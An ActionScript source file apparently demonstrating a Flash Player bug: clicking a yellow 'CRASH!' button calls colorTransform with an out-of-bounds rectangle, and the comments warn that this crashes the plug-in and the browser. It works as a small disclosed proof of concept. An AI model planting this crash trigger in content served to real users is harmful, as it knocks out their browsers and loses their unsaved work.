Flash Crash
package {
import flash.text.TextFormat;
import flash.text.TextField;
import flash.events.MouseEvent;
import flash.events.Event;
import flash.geom.Rectangle;
import flash.geom.ColorTransform;
import flash.display.BitmapData;
import flash.display.Sprite;
public class FlashTest extends Sprite {
// CAUTION! ATTENTION! ACHTUNG!
// LAUNCHING THIS CODE AND CLICKING YELLOW
// BUTTON WILL LEAD TO FLASH PLUG-IN
// AND BROWSER CRASH.
// SAVE YOUR UNSAVED WORK AND SO ON…
public function crash(event:MouseEvent):void {
//any non transparent BitmapData
var b:BitmapData = new BitmapData(100, 100, false);
//ColorTransform with custom values
var c:ColorTransform = new ColorTransform(.5,.5,.5);
//any Rectangle
var r:Rectangle = new Rectangle(0,0,10,10);
//with x equals b.width
r.x = b.width;
//Boom!
b.colorTransform(r, c);
}
public function FlashTest() {
addEventListener(Event.ADDED_TO_STAGE, addedToStageHandler);
}
public function addedToStageHandler(event:Event): void {
//button
var s:Sprite = new Sprite();
var t:TextField = new TextField();
t.backgroundColor = 0xFFFF00;
t.background = true;
t.border = true;
t.autoSize = "left";
t.mouseEnabled = false;
t.defaultTextFormat = new TextFormat("_sans", 40, true, true);
t.text = " CRASH! ";
s.addChild(t);
s.x = (stage.stageWidth - s.width)*.5;
s.y = (stage.stageHeight - s.height)*.5;
s.useHandCursor = true;
s.buttonMode = true;
s.addEventListener(MouseEvent.CLICK, crash);
addChild(s);
}
}
}